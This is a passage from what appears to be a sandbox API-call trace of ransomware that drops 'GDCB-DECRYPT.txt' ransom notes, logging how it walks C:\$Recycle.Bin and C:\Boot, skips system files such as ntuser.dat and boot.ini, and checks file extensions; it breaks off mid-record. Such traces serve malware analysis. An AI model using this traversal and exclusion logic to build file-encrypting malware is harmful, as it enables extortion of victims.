param_1="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned 41 [0169.429] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned 41 [0169.429] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned 41 [0169.429] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned 41 [0169.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.430] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.430] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.430] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.430] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.430] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0169.430] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0169.430] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000" [0169.430] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0169.430] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.430] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.430] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 62 [0169.430] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0169.430] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4dd8 [0169.430] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.430] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.430] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.430] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.430] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.431] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.431] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.431] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini" [0169.431] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0169.431] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0169.431] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.431] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.431] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.431] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt" [0169.431] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0169.431] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.431] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.431] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.431] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.431] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt") returned 79 [0169.431] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-1462094071-1423818996-289466292-1000\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.431] GetLastError () returned 0x50 [0169.431] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.431] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 62 [0169.431] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0169.431] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4c18 [0169.431] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.431] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.431] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.432] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.432] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.432] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.432] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.432] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini" [0169.432] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.432] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0169.432] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0169.432] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0169.432] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0169.432] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0169.432] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.432] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.432] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.432] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.432] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt" [0169.432] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.432] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0169.432] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0169.432] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0169.432] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0169.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.432] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.433] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.433] FindClose (in: hFindFile=0x5a4c18 | out: hFindFile=0x5a4c18) returned 1 [0169.433] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0 [0169.433] FindClose (in: hFindFile=0x5a4b18 | out: hFindFile=0x5a4b18) returned 1 [0169.433] FindNextFileW (in: hFindFile=0x5a4cd8, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0169.433] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0169.433] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0169.433] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0169.433] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0169.433] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.433] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.433] lstrlenW (lpString="C:\\Boot\\") returned 8 [0169.433] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*" | out: lpString1="C:\\Boot\\*") returned="C:\\Boot\\*" [0169.433] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0x5a5018 [0169.433] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.433] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.433] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.433] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.433] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.434] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0169.434] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0169.434] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD" | out: lpString1="C:\\Boot\\BCD") returned="C:\\Boot\\BCD" [0169.434] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0169.434] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.434] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0169.434] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0169.434] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="C:\\Boot\\BCD.LOG") returned="C:\\Boot\\BCD.LOG" [0169.434] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0169.434] lstrcmpW (lpString1=".LOG", lpString2=".sql") returned -1 [0169.434] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.434] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0169.434] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0169.434] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="C:\\Boot\\BCD.LOG1") returned="C:\\Boot\\BCD.LOG1" [0169.434] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0169.434] lstrcmpW (lpString1=".LOG1", lpString2=".sql") returned -1 [0169.434] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.434] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0169.434] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0169.434] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="C:\\Boot\\BCD.LOG2") returned="C:\\Boot\\BCD.LOG2" [0169.434] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0169.434] lstrcmpW (lpString1=".LOG2", lpString2=".sql") returned -1 [0169.434] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.434] lstrcmpW (lpString1="bg-BG", lpString2=".") returned 1 [0169.434] lstrcmpW (lpString1="bg-BG", lpString2="..") returned 1 [0169.434] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bg-BG" | out: lpString1="C:\\Boot\\bg-BG") returned="C:\\Boot\\bg-BG" [0169.434] lstrlenW (lpString="C:\\Boot\\bg-BG") returned 13 [0169.434] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.434] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0169.434] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0169.434] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT") returned="C:\\Boot\\BOOTSTAT.DAT" [0169.434] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0169.434] lstrcmpW (lpString1=".DAT", lpString2=".sql") returned -1 [0169.434] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.434] lstrcmpW (lpString1="bootvhd.dll", lpString2=".") returned 1 [0169.434] lstrcmpW (lpString1="bootvhd.dll", lpString2="..") returned 1 [0169.434] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bootvhd.dll" | out: lpString1="C:\\Boot\\bootvhd.dll") returned="C:\\Boot\\bootvhd.dll" [0169.434] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0169.434] lstrcmpW (lpString1=".dll", lpString2=".sql") returned -1 [0169.434] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.434] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0169.434] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0169.434] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="cs-CZ" | out: lpString1="C:\\Boot\\cs-CZ") returned="C:\\Boot\\cs-CZ" [0169.434] lstrlenW (lpString="C:\\Boot\\cs-CZ") returned 13 [0169.434] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.434] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0169.434] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0169.434] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="da-DK" | out: lpString1="C:\\Boot\\da-DK") returned="C:\\Boot\\da-DK" [0169.434] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0169.434] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.434] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0169.434] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0169.434] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="de-DE" | out: lpString1="C:\\Boot\\de-DE") returned="C:\\Boot\\de-DE" [0169.434] lstrlenW (lpString="C:\\Boot\\de-DE") returned 13 [0169.434] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.434] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0169.434] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0169.434] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="el-GR" | out: lpString1="C:\\Boot\\el-GR") returned="C:\\Boot\\el-GR" [0169.434] lstrlenW (lpString="C:\\Boot\\el-GR") returned 13 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="en-GB", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="en-GB", lpString2="..") returned 1 [0169.435] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-GB" | out: lpString1="C:\\Boot\\en-GB") returned="C:\\Boot\\en-GB" [0169.435] lstrlenW (lpString="C:\\Boot\\en-GB") returned 13 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0169.435] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-US" | out: lpString1="C:\\Boot\\en-US") returned="C:\\Boot\\en-US" [0169.435] lstrlenW (lpString="C:\\Boot\\en-US") returned 13 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0169.435] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-ES" | out: lpString1="C:\\Boot\\es-ES") returned="C:\\Boot\\es-ES" [0169.435] lstrlenW (lpString="C:\\Boot\\es-ES") returned 13 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="es-MX", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="es-MX", lpString2="..") returned 1 [0169.435] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-MX" | out: lpString1="C:\\Boot\\es-MX") returned="C:\\Boot\\es-MX" [0169.435] lstrlenW (lpString="C:\\Boot\\es-MX") returned 13 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="et-EE", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="et-EE", lpString2="..") returned 1 [0169.435] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="et-EE" | out: lpString1="C:\\Boot\\et-EE") returned="C:\\Boot\\et-EE" [0169.435] lstrlenW (lpString="C:\\Boot\\et-EE") returned 13 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0169.435] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fi-FI" | out: lpString1="C:\\Boot\\fi-FI") returned="C:\\Boot\\fi-FI" [0169.435] lstrlenW (lpString="C:\\Boot\\fi-FI") returned 13 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0169.435] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Fonts" | out: lpString1="C:\\Boot\\Fonts") returned="C:\\Boot\\Fonts" [0169.435] lstrlenW (lpString="C:\\Boot\\Fonts") returned 13 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="fr-CA", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="fr-CA", lpString2="..") returned 1 [0169.435] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-CA" | out: lpString1="C:\\Boot\\fr-CA") returned="C:\\Boot\\fr-CA" [0169.435] lstrlenW (lpString="C:\\Boot\\fr-CA") returned 13 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0169.435] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-FR" | out: lpString1="C:\\Boot\\fr-FR") returned="C:\\Boot\\fr-FR" [0169.435] lstrlenW (lpString="C:\\Boot\\fr-FR") returned 13 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.435] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\GDCB-DECRYPT.txt") returned="C:\\Boot\\GDCB-DECRYPT.txt" [0169.435] lstrlenW (lpString="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0169.435] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="hr-HR", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="hr-HR", lpString2="..") returned 1 [0169.435] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hr-HR" | out: lpString1="C:\\Boot\\hr-HR") returned="C:\\Boot\\hr-HR" [0169.435] lstrlenW (lpString="C:\\Boot\\hr-HR") returned 13 [0169.435] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.435] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0169.435] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hu-HU" | out: lpString1="C:\\Boot\\hu-HU") returned="C:\\Boot\\hu-HU" [0169.436] lstrlenW (lpString="C:\\Boot\\hu-HU") returned 13 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.436] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0169.436] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="it-IT" | out: lpString1="C:\\Boot\\it-IT") returned="C:\\Boot\\it-IT" [0169.436] lstrlenW (lpString="C:\\Boot\\it-IT") returned 13 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.436] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0169.436] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ja-JP" | out: lpString1="C:\\Boot\\ja-JP") returned="C:\\Boot\\ja-JP" [0169.436] lstrlenW (lpString="C:\\Boot\\ja-JP") returned 13 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.436] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0169.436] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0169.436] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ko-KR" | out: lpString1="C:\\Boot\\ko-KR") returned="C:\\Boot\\ko-KR" [0169.436] lstrlenW (lpString="C:\\Boot\\ko-KR") returned 13 [0169.436] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.436] 